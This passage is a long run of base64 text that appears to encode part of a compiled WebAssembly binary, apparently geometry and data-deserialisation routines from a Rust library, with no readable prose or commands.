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qIAhBMGpBABDtASAIKQOgAiIpQoCAgIBwgyErIAgpA6gCISogCCkDICEoQQEMAgsgCEGgAmogCEEwakEBEO0BIAgpA6ACIilCgICAgHCDCyErIAgpA6gCISpBAQshAyArQoCAgIBwgyApQv////8Pg4QhKQsgKEIgiKchAiAqQiCIp74hBiAopyEFICqnviEdCyAIQTBqIAdByABqIgQQugIgB0GQAWoiACgCAARAIABBADYCAAsCQAJAAkACQAJAAkACQCADQQFrDgMDAQABCyAHICk3AgAMAQsgB0IANwIACyAIKAJ4IQMMAQsgCCAFrSACrUIghoQ3A6gBIAggAUEEaiIDKgIAIiEgBb4iHpQgASoCACIiIAK+Ih+UkzgC1AEgCCAhIB+MlCAiIB6UkzgC0AEgCEH4AWoiAEIANwIAIABBGGpCADcCACAAQRBqQgA3AgAgAEEIakIANwIAIAhB8AJqIgJCADcCACACQRhqQgA3AgAgAkEQakIANwIAIAJBCGpCADcCACAQIAhBqAFqIgUgACAVKAIcEQIAIBEgCEHQAWogAiAWKAIcEQIAIAhBoAJqIglBDGogAyoCACIiIAEpAggiKKe+IiSUIAEqAgAiISAoQiCIp74iJZSTOAIAIAggITgCoAIgCCAijCIiOAKkAiAIICIgJZQgISAklJM4AqgCIAEgCSAFIAgqAtABIAgqAtQBIAAgAiAHQQAQfQJAAkAgB0GQAWoiACgCAEUNACAQIBUoAiARBAANACARIBYoAiARBABFDQELIB0gAUEIaioCAJMiISABKgIAIiKUIAYgAUEMaioCAJMiJCADKgIAIiWUkrytICIgJJQgISAllJO8rUIghoQhKCAdICmnvpMgHpQgBiApQiCIp76TIB+UkiEGIAAoAgAiAUECSQRAIAQgAUEkbGoiACApNwIAIABCADcCHCAAIAY4AhggAEIANwIQIAAgKDcCCCAHQZABaiABQQFqNgIADAELIAhCADcCvAIgCCAGOAK4AiAIQgA3A7ACIAggKDcDqAIgCCApNwOgAgwKCwJAICNDAAAAAFsgIEMAAAAAW3ENACAHQZABaigCACIARQ0AIAQgAEEkbGohACAjICCSIQYgICAIKQPQASIop76UIR0gIyAIKQOoASIpp76UIR4gICAoQiCIp76UIR8gIyApQiCIp76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